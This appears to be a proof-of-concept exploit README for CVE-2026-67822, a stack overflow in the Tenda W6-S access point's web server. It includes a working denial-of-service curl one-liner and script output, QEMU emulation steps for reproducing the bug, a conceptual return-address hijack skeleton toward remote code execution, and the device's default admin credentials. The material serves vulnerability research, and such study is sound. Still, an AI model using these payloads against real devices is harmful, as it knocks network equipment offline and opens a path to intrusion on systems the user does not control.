## https://sploitus.com/exploit?id=5494F99D-56BA-53DD-ADFE-1A2E1C73D5E5
# CVE-2026-67822 — Tenda W6-S `wifiSSIDset` Stack Buffer Overflow (PoC)
Companion PoC for the Hunt-Benito article
**"GO Without Bounds: CVE-2026-67822 — Stack Overflow in Tenda W6-S's `wifiSSIDset` Form Handler"**.
**CVE-2026-67822** (CVSS 9.8 Critical, CWE-121) is a stack-based buffer overflow
in `formwrlSSIDset()`, the C function behind the `/goform/wifiSSIDset` endpoint of
the Tenda W6-S wireless access point's `/bin/httpd` (a GoAhead-derived web server).
```c
char v34[64]; /* 64-byte stack buffer */
GO = websGetVar(a1, "GO", "wireless_basic.asp");
index = websGetVar(a1, "index", "0");
sprintf(v34, "/%s?index=%s", GO, index); /* unbounded -> stack overflow */
```
**Confirmed impact:** denial of service (`httpd` crash).
**Potential impact:** remote code execution (MIPS, no stack canary / no ASLR on the build).
| | |
|---|---|
| **Affected product** | Tenda W6-S wireless access point |
| **Affected firmware** | v1.0.0.4(510) |
| **CVSS v3.1** | 9.8 Critical (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`) |
| **CWE** | CWE-121 (Stack-based Buffer Overflow) |
| **Vulnerable endpoint** | `POST /goform/wifiSSIDset` (params `GO`, `index`) |
| **Discoverer / credit** | trister |
---
## Repository contents
| File | Purpose |
|---|---|
| `poc_dos.py` | **Confirmed DoS reproducer.** Sends an oversized `GO` param and detects the resulting `httpd` crash. Stdlib only — no dependencies. |
| `exploit_conceptual.py` | **Conceptual RCE skeleton.** Demonstrates the control-flow-hijack shape (pad to saved `$ra`, overwrite) and a cyclic-pattern helper to empirically derive the offset-to-`$ra`. Does **not** ship working shellcode or gadget addresses. |
| `fake_apmib.c` | `LD_PRELOAD` shim that fakes Tenda hardware/MIB calls so `/bin/httpd` boots under a QEMU MIPS guest — the technique used to reproduce the bug without a physical device. |
---
## Quick start: DoS reproduction
Against a real W6-S (default LAN IP `192.168.5.10`) or an emulated instance:
```bash
$ python3 poc_dos.py --target http://192.168.5.10
[*] Target : http://192.168.5.10/goform/wifiSSIDset
[*] Payload : GO = 2000 bytes ('A'), index = 0
[*] Sending POST...
[+] HTTP response: 200 (httpd accepted the request before crashing)
[*] Re-probing the management interface...
[!] httpd no longer responds (connection refused) — service crashed.
[+] Result: denial of service CONFIRMED.
```
Equivalent one-liner:
```bash
$ curl -s http://192.168.5.10/goform/wifiSSIDset \
-d "GO=$(python3 -c "print('A'*2000)")&wl_radio=0&index=0"
```
After the request returns, the management interface is dead until a power-cycle.
---
## Reproducing without hardware (QEMU MIPS + `fake_apmib.so`)
`/bin/httpd` expects real Tenda silicon (`libapmib.so`, the `cfmd` daemon, a LAN
MAC). The `fake_apmib.c` shim fakes just enough of those to let `httpd` boot
inside an emulated firmware filesystem. The setup mirrors the original
researcher's technique.
### 1. Build the shim for MIPS big-endian
```bash
$ mips-linux-gnu-gcc -shared -fPIC -o fake_apmib.so fake_apmib.c
```
### 2. Host networking — bridge + TAP
```bash
$ sudo brctl addbr virbr0
$ sudo ifconfig virbr0 192.168.5.1/24 up
$ sudo tunctl -t tap0
$ sudo ifconfig tap0 192.168.5.11/24 up
$ sudo brctl addif virbr0 tap0
```
### 3. Boot a MIPS Malta guest
```bash
$ sudo qemu-system-mips -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1" \
-netdev tap,id=tapnet,ifname=tap0,script=no \
-device rtl8139,netdev=tapnet \
-nographic
```
### 4. Inside the guest: configure the interface and stage the firmware
```bash
guest# ifconfig eth0 192.168.5.10
# copy the extracted firmware filesystem + the shim onto the guest
$ scp ./squashfs-root.tar.gz root@192.168.5.10:/root/
$ scp ./fake_apmib.so root@192.168.5.10:/root/squashfs-root/
```
### 5. Chroot and launch `httpd` with the shim
```bash
guest# mount -o bind /proc ./squashfs-root/proc
guest# mount -o bind /dev ./squashfs-root/dev
guest# rm ./squashfs-root/webroot && ln -s /webroot_ro ./squashfs-root/webroot
guest# chroot ./squashfs-root/ /bin/sh
chroot# mkdir -p /var/run /tmp && chmod 1777 /tmp
chroot# LD_PRELOAD=/fake_apmib.so /bin/httpd &
```
The management interface is now reachable at `http://192.168.5.10`
(default login `admin` / `admin`), and `poc_dos.py` works against it exactly as
it does against real hardware.
| Shim intercepts | Returns | Why |
|---|---|---|
| `apmib_init()` | `1` | skip hardware/MIB init |
| `ConnectCfm()` | `1` | pretend the `cfmd` daemon answered |
| `GetValue("lan.ip", …)` | `192.168.5.10` | static management IP |
| `ioctl(SIOCGIFHWADDR)` | `00:11:22:33:44:55` | fake MAC |
| `connect()` | passthrough | unix-socket/TCP connects resolve |
> The exact prototypes of Tenda's internal `apmib`/`cfmd` helpers vary across
> firmware builds. Confirm them against your target's real `libapmib.so`
> (`objdump -T libapmib.so` / IDA) and adjust `fake_apmib.c` as needed.
---
## Conceptual RCE path
`exploit_conceptual.py` documents the exploitation shape beyond the DoS:
```bash
# 1) Find the offset from the GO buffer to saved $ra on YOUR firmware build
$ python3 exploit_conceptual.py --target http://192.168.5.10 probe --len 256
# (read the faulting $ra / PC from the QEMU crash dump or a gdb stub, then
# feed it to cyclic_offset() to recover the exact offset)
# 2) Build a payload that overwrites $ra with a chosen address
$ python3 exploit_conceptual.py --target http://192.168.5.10 build --offset --ra 0x
```
**This skeleton redirects `$ra` only.** Turning the hijack into actual code
execution requires either non-NX-stack shellcode or a ROP chain assembled from
gadgets in the specific firmware image — both build-specific and intentionally
left to the researcher. The DoS is confirmed; RCE is the plausible worst case
the CVSS vector (`C:H/I:H`) reflects.
---
## Legal / responsible use
This code is for **authorised security research only**. Run it solely against
devices you own or have explicit written permission to test. Do not use it
against networks or hardware you do not control.
## References
- NIST NVD — CVE-2026-67822: https://nvd.nist.gov/vuln/detail/CVE-2026-67822
- Original PoC writeup (trister): https://github.com/Tristerjh/Tenda/blob/main/Tenda_W6-S_GO_overflow.md
- MITRE CWE-121: https://cwe.mitre.org/data/definitions/121.html
- Tenda W6-S product page: https://www.tendacn.com/material/show/103478